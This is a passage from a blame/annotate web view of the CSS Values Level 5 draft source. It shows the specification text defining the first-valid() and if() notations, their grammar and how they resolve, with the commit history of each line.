[css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1275" id="l1275"> 1275</a> </td> <td class="source"> However, some functions may restrict </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l522" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1276" id="l1276"> 1276</a> </td> <td class="source"> what a <<whole-value>> argument can include. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l523" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1277" id="l1277"> 1277</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l524" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1278" id="l1278"> 1278</a> </td> <td class="source"><h3 id="first-valid"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l525" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1279" id="l1279"> 1279</a> </td> <td class="source">Selecting the First Supported Value: the ''first-valid()'' notation</h3> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l526" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1280" id="l1280"> 1280</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l527" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1281" id="l1281"> 1281</a> </td> <td class="source"> CSS supports progressive enhancement with its forward-compatible parsing: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l528" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1282" id="l1282"> 1282</a> </td> <td class="source"> authors can declare the same property multiple times in a style rule, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l529" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1283" id="l1283"> 1283</a> </td> <td class="source"> using different values each time, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l530" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1284" id="l1284"> 1284</a> </td> <td class="source"> and a CSS UA will automatically use the last one that it understands </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l531" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1285" id="l1285"> 1285</a> </td> <td class="source"> and throw out the rest. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l532" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1286" id="l1286"> 1286</a> </td> <td class="source"> This principle, together with the ''@supports'' rule, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l533" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1287" id="l1287"> 1287</a> </td> <td class="source"> allows authors to write stylesheets that work well </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l534" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1288" id="l1288"> 1288</a> </td> <td class="source"> in old and new UAs simultaneously. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l535" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1289" id="l1289"> 1289</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l536" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1290" id="l1290"> 1290</a> </td> <td class="source"> However, using ''var()'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l537" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1291" id="l1291"> 1291</a> </td> <td class="source"> (or similar substitution functions that resolve after parsing) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l538" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1292" id="l1292"> 1292</a> </td> <td class="source"> thwarts this functionality; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l539" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1293" id="l1293"> 1293</a> </td> <td class="source"> CSS UAs must assume any such property is valid at parse-time. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l540" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1294" id="l1294"> 1294</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l541" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1295" id="l1295"> 1295</a> </td> <td class="source"> The <dfn>first-valid()</dfn> [=functional notation=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l542" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1296" id="l1296"> 1296</a> </td> <td class="source"> inlines the fallback behavior </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l543" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1297" id="l1297"> 1297</a> </td> <td class="source"> intrinsic to parsing declarations. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l544" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1298" id="l1298"> 1298</a> </td> <td class="source"> Unlike most notations, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l545" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1299" id="l1299"> 1299</a> </td> <td class="source"> it can accept any valid or invalid syntax in its arguments, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l546" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1300" id="l1300"> 1300</a> </td> <td class="source"> and represents the first value among its arguments </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l547" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1301" id="l1301"> 1301</a> </td> <td class="source"> that is supported (parsed as valid) by the UA </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l548" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1302" id="l1302"> 1302</a> </td> <td class="source"> as the whole value of the property it's used in. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l549" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1303" id="l1303"> 1303</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l550" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1304" id="l1304"> 1304</a> </td> <td class="source"> <pre class=prod> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/4322db6d424c/css-values-5/Overview.bs#l752" title="4322db6d424c: [css-values-5] Define all the functions with semicolons to use commas, now that they can rely on semicolon-upgrading.">jackalmage@31370</a> </td> <td class="lineno"> <a href="#l1305" id="l1305"> 1305</a> </td> <td class="source"> <dfn>&lt;first-valid()></dfn> = first-valid( <<declaration-value>># ) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l552" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1306" id="l1306"> 1306</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l553" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1307" id="l1307"> 1307</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l554" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1308" id="l1308"> 1308</a> </td> <td class="source"> If none of the arguments represent a valid value for the property, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l555" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1309" id="l1309"> 1309</a> </td> <td class="source"> the property is [=invalid at computed-value time=]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l556" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1310" id="l1310"> 1310</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l557" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1311" id="l1311"> 1311</a> </td> <td class="source"> ''first-valid()'' is a <<whole-value>>. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l558" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1312" id="l1312"> 1312</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l559" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1313" id="l1313"> 1313</a> </td> <td class="source"> Issue: Should this have a different name? </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l560" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1314" id="l1314"> 1314</a> </td> <td class="source"> We didn't quite decide on it during the resolution to add this. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a11407882573/css-values-5/Overview.bs#l561" title="a11407882573: [css-values-5] Add first-valid(). #5055">jackalmage@30487</a> </td> <td class="lineno"> <a href="#l1315" id="l1315"> 1315</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e6841cc5105b/css-values-5/Overview.bs#l763" title="e6841cc5105b: [css-values-5] Document why first-valid() doesn't use <whole-value>, since I forgot and almost 'fixed' (broke) it.">jackalmage@31371</a> </td> <td class="lineno"> <a href="#l1316" id="l1316"> 1316</a> </td> <td class="source"> Note: Despite effectively taking <<whole-value>>s as its argument, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e6841cc5105b/css-values-5/Overview.bs#l764" title="e6841cc5105b: [css-values-5] Document why first-valid() doesn't use <whole-value>, since I forgot and almost 'fixed' (broke) it.">jackalmage@31371</a> </td> <td class="lineno"> <a href="#l1317" id="l1317"> 1317</a> </td> <td class="source"> ''first-valid()'' is instead defined to take <<declaration-value>>s </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e6841cc5105b/css-values-5/Overview.bs#l765" title="e6841cc5105b: [css-values-5] Document why first-valid() doesn't use <whole-value>, since I forgot and almost 'fixed' (broke) it.">jackalmage@31371</a> </td> <td class="lineno"> <a href="#l1318" id="l1318"> 1318</a> </td> <td class="source"> because, by definition, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e6841cc5105b/css-values-5/Overview.bs#l766" title="e6841cc5105b: [css-values-5] Document why first-valid() doesn't use <whole-value>, since I forgot and almost 'fixed' (broke) it.">jackalmage@31371</a> </td> <td class="lineno"> <a href="#l1319" id="l1319"> 1319</a> </td> <td class="source"> it's intended to be used in cases </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e6841cc5105b/css-values-5/Overview.bs#l767" title="e6841cc5105b: [css-values-5] Document why first-valid() doesn't use <whole-value>, since I forgot and almost 'fixed' (broke) it.">jackalmage@31371</a> </td> <td class="lineno"> <a href="#l1320" id="l1320"> 1320</a> </td> <td class="source"> <em>where its values might be invalid for the declaration it's in</em>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e6841cc5105b/css-values-5/Overview.bs#l768" title="e6841cc5105b: [css-values-5] Document why first-valid() doesn't use <whole-value>, since I forgot and almost 'fixed' (broke) it.">jackalmage@31371</a> </td> <td class="lineno"> <a href="#l1321" id="l1321"> 1321</a> </td> <td class="source"> <<declaration-value>> imposes no contextual validity constraints on what it matches, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e6841cc5105b/css-values-5/Overview.bs#l769" title="e6841cc5105b: [css-values-5] Document why first-valid() doesn't use <whole-value>, since I forgot and almost 'fixed' (broke) it.">jackalmage@31371</a> </td> <td class="lineno"> <a href="#l1322" id="l1322"> 1322</a> </td> <td class="source"> unlike <<whole-value>>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e6841cc5105b/css-values-5/Overview.bs#l770" title="e6841cc5105b: [css-values-5] Document why first-valid() doesn't use <whole-value>, since I forgot and almost 'fixed' (broke) it.">jackalmage@31371</a> </td> <td class="lineno"> <a href="#l1323" id="l1323"> 1323</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/7b2c563b7016/css-values-5/Overview.bs#l1245" title="7b2c563b7016: [css-values-5] Define if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31725</a> </td> <td class="lineno"> <a href="#l1324" id="l1324"> 1324</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/7b2c563b7016/css-values-5/Overview.bs#l1247" title="7b2c563b7016: [css-values-5] Define if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31725</a> </td> <td class="lineno"> <a href="#l1326" id="l1326"> 1326</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/7b2c563b7016/css-values-5/Overview.bs#l1248" title="7b2c563b7016: [css-values-5] Define if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31725</a> </td> <td class="lineno"> <a href="#l1327" id="l1327"> 1327</a> </td> <td class="source"><h3 id="if-notation"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/7b2c563b7016/css-values-5/Overview.bs#l1249" title="7b2c563b7016: [css-values-5] Define if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31725</a> </td> <td class="lineno"> <a href="#l1328" id="l1328"> 1328</a> </td> <td class="source">Conditional Value Selection: the ''if()'' notation</h3> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/7b2c563b7016/css-values-5/Overview.bs#l1250" title="7b2c563b7016: [css-values-5] Define if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31725</a> </td> <td class="lineno"> <a href="#l1329" id="l1329"> 1329</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/7b2c563b7016/css-values-5/Overview.bs#l1251" title="7b2c563b7016: [css-values-5] Define if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31725</a> </td> <td class="lineno"> <a href="#l1330" id="l1330"> 1330</a> </td> <td class="source"> The <dfn>if()</dfn> notation is an [=arbitrary substitution function=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/7b2c563b7016/css-values-5/Overview.bs#l1252" title="7b2c563b7016: [css-values-5] Define if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31725</a> </td> <td class="lineno"> <a href="#l1331" id="l1331"> 1331</a> </td> <td class="source"> that represents conditional values. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/7b2c563b7016/css-values-5/Overview.bs#l1253" title="7b2c563b7016: [css-values-5] Define if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31725</a> </td> <td class="lineno"> <a href="#l1332" id="l1332"> 1332</a> </td> <td class="source"> Its argument consists of an ordered semi-colon&ndash;separated list of statements, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/7b2c563b7016/css-values-5/Overview.bs#l1254" title="7b2c563b7016: [css-values-5] Define if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31725</a> </td> <td class="lineno"> <a href="#l1333" id="l1333"> 1333</a> </td> <td class="source"> each consisting of a condition </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/7b2c563b7016/css-values-5/Overview.bs#l1255" title="7b2c563b7016: [css-values-5] Define if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31725</a> </td> <td class="lineno"> <a href="#l1334" id="l1334"> 1334</a> </td> <td class="source"> followed by a colon </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e2d175a2839e/css-values-5/Overview.bs#l1256" title="e2d175a2839e: [css-values-5] Fix grammar errors in if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31726</a> </td> <td class="lineno"> <a href="#l1335" id="l1335"> 1335</a> </td> <td class="source"> followed by a value. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e2d175a2839e/css-values-5/Overview.bs#l1257" title="e2d175a2839e: [css-values-5] Fix grammar errors in if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31726</a> </td> <td class="lineno"> <a href="#l1336" id="l1336"> 1336</a> </td> <td class="source"> An ''if()'' notation represents </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e2d175a2839e/css-values-5/Overview.bs#l1258" title="e2d175a2839e: [css-values-5] Fix grammar errors in if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31726</a> </td> <td class="lineno"> <a href="#l1337" id="l1337"> 1337</a> </td> <td class="source"> the value corresponding to the first condition in its argument list to be true; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e2d175a2839e/css-values-5/Overview.bs#l1259" title="e2d175a2839e: [css-values-5] Fix grammar errors in if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31726</a> </td> <td class="lineno"> <a href="#l1338" id="l1338"> 1338</a> </td> <td class="source"> if no condition matches, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/7b2c563b7016/css-values-5/Overview.bs#l1259" title="7b2c563b7016: [css-values-5] Define if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31725</a> </td> <td class="lineno"> <a href="#l1339" id="l1339"> 1339</a> </td> <td class="source"> then the ''if()'' notation represents an empty token stream. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/7b2c563b7016/css-values-5/Overview.bs#l1260" title="7b2c563b7016: [css-values-5] Define if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31725</a> </td> <td class="lineno"> <a href="#l1340" id="l1340"> 1340</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/7b2c563b7016/css-values-5/Overview.bs#l1266" title="7b2c563b7016: [css-values-5] Define if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31725</a> </td> <td class="lineno"> <a href="#l1341" id="l1341"> 1341</a> </td> <td class="source"> The ''if()'' notation syntax is defined as follows: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/7b2c563b7016/css-values-5/Overview.bs#l1267" title="7b2c563b7016: [css-values-5] Define if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31725</a> </td> <td class="lineno"> <a href="#l1342" id="l1342"> 1342</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/7b2c563b7016/css-values-5/Overview.bs#l1268" title="7b2c563b7016: [css-values-5] Define if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31725</a> </td> <td class="lineno"> <a href="#l1343" id="l1343"> 1343</a> </td> <td class="source"> <pre class=prod> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/7b2c563b7016/css-values-5/Overview.bs#l1269" title="7b2c563b7016: [css-values-5] Define if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31725</a> </td> <td class="lineno"> <a href="#l1344" id="l1344"> 1344</a> </td> <td class="source"> <dfn><<if()>></dfn> = if( [ <<if-condition>> : <<declaration-value>>? ; ]* </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/7b2c563b7016/css-values-5/Overview.bs#l1270" title="7b2c563b7016: [css-values-5] Define if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31725</a> </td> <td class="lineno"> <a href="#l1345" id="l1345"> 1345</a> </td> <td class="source"> <<if-condition>> : <<declaration-value>>? ;? ) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/cc430a5a2530/css-values-5/Overview.bs#l1345" title="cc430a5a2530: [css-values-5] Replace <boolean[]> with <boolean-expr[]> #10457">fantasai@31785</a> </td> <td class="lineno"> <a href="#l1346" id="l1346"> 1346</a> </td> <td class="source"> <dfn><<if-condition>></dfn> = <<boolean-expr[ <<if-test>> ]>> | else </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/890414b2d712/css-values-5/Overview.bs#l1336" title="890414b2d712: [css-values-5] Be consistent about brackets #10457">fantasai@31738</a> </td> <td class="lineno"> <a href="#l1347" id="l1347"> 1347</a> </td> <td class="source"> <dfn><<if-test>></dfn> = </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e2d175a2839e/css-values-5/Overview.bs#l1273" title="e2d175a2839e: [css-values-5] Fix grammar errors in if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31726</a> </td> <td class="lineno"> <a href="#l1348" id="l1348"> 1348</a> </td> <td class="source"> supports( [ <<supports-condition>> | <<ident>> : <<declaration-value>> ] ) | </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/7b2c563b7016/css-values-5/Overview.bs#l1273" title="7b2c563b7016: [css-values-5] Define if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31725</a> </td> <td class="lineno"> <a href="#l1349" id="l1349"> 1349</a> </td> <td class="source"> media( <<media-query>> ) | </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/890414b2d712/css-values-5/Overview.bs#l1339" title="890414b2d712: [css-values-5] Be consistent about brackets #10457">fantasai@31738</a> </td> <td class="lineno"> <a href="#l1350" id="l1350"> 1350</a> </td> <td class="source"> style( <<style-query>> ) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/7b2c563b7016/css-values-5/Overview.bs#l1276" title="7b2c563b7016: [css-values-5] Define if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31725</a> </td> <td class="lineno"> <a href="#l1351" id="l1351"> 1351</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/7b2c563b7016/css-values-5/Overview.bs#l1277" title="7b2c563b7016: [css-values-5] Define if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31725</a> </td> <td class="lineno"> <a href="#l1352" id="l1352"> 1352</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e2d175a2839e/css-values-5/Overview.bs#l1279" title="e2d175a2839e: [css-values-5] Fix grammar errors in if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31726</a> </td> <td class="lineno"> <a href="#l1353" id="l1353"> 1353</a> </td> <td class="source"> The <dfn value for="if()">else</dfn> keyword represents </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e2d175a2839e/css-values-5/Overview.bs#l1280" title="e2d175a2839e: [css-values-5] Fix grammar errors in if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31726</a> </td> <td class="lineno"> <a href="#l1354" id="l1354"> 1354</a> </td> <td class="source"> a condition that is always true. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e2d175a2839e/css-values-5/Overview.bs#l1281" title="e2d175a2839e: [css-values-5] Fix grammar errors in if() notation #10064 #5624 #5009 #6638 #4731 #3455">fantasai@31726</a> </td> <td class="lineno"> <a href="#l1355" id="l1355"> 1355</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9333817b110d/css-values-5/Overview.bs#l1346" title="9333817b110d: [css-values-5] Define if() processing, add a note. #10064">fantasai@31743</a> </td> <td class="lineno"> <a href="#l1356" id="l1356"> 1356</a> </td> <td class="source"> To <dfn export>[=resolve an arbitrary substitution function|resolve an if() function=]</dfn>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/9333817b110d/css-values-5/Overview.bs#l1347" title="9333817b110d: [css-values-5] Define if() processing, add a note. #10064">fantasai@31743</a> </td> <td class="lineno"> <a href="#l1357" id="l1357"> 1357</a> </td> <td class="source"> return the <<declaration-value>>? </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9333817b110d/css-values-5/Overview.bs#l1348" title="9333817b110d: [css-values-5] Define if() processing, add a note. #10064">fantasai@31743</a> </td> <td class="lineno"> <a href="#l1358" id="l1358"> 1358</a> </td> <td class="source"> associated with the first <<if-condition>> that is true; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/9333817b110d/css-values-5/Overview.bs#l1349" title="9333817b110d: [css-values-5] Define if() processing, add a note. #10064">fantasai@31743</a> </td> <td class="lineno"> <a href="#l1359" id="l1359"> 1359</a> </td> <td class="source"> if none are true, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9333817b110d/css-values-5/Overview.bs#l1350" title="9333817b110d: [css-values-5] Define if() processing, add a note. #10064">fantasai@31743</a> </td> <td class="lineno"> <a href="#l1360" id="l1360"> 1360</a> </td> <td class="source"> return nothing (an empty token stream). </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/9333817b110d/css-values-5/Overview.bs#l1351" title="9333817b110d: [css-values-5] Define if() processing, add a note. #10064">fantasai@31743</a> </td> <td class="lineno"> <a href="#l1361" id="l1361"> 1361</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9333817b110d/css-values-5/Overview.bs#l1352" title="9333817b110d: [css-values-5] Define if() processing, add a note. #10064">fantasai@31743</a> </td> <td class="lineno"> <a href="#l1362" id="l1362"> 1362</a> </td> <td class="source"> Note: Unlike using ''@media''/''@supports''/''@container'' rules, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/9333817b110d/css-values-5/Overview.bs#l1353" title="9333817b110d: [css-values-5] Define if() processing, add a note. #10064">fantasai@31743</a> </td> <td class="lineno"> <a href="#l1363" id="l1363"> 1363</a> </td> <td class="source"> which just ignore their contents when they're false </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9333817b110d/css-values-5/Overview.bs#l1354" title="9333817b110d: [css-values-5] Define if() processing, add a note. #10064">fantasai@31743</a> </td> <td class="lineno"> <a href="#l1364" id="l1364"> 1364</a> </td> <td class="source"> and let the cascade determine what values otherwise apply, </td> </tr> <tr class="parity0"> <td 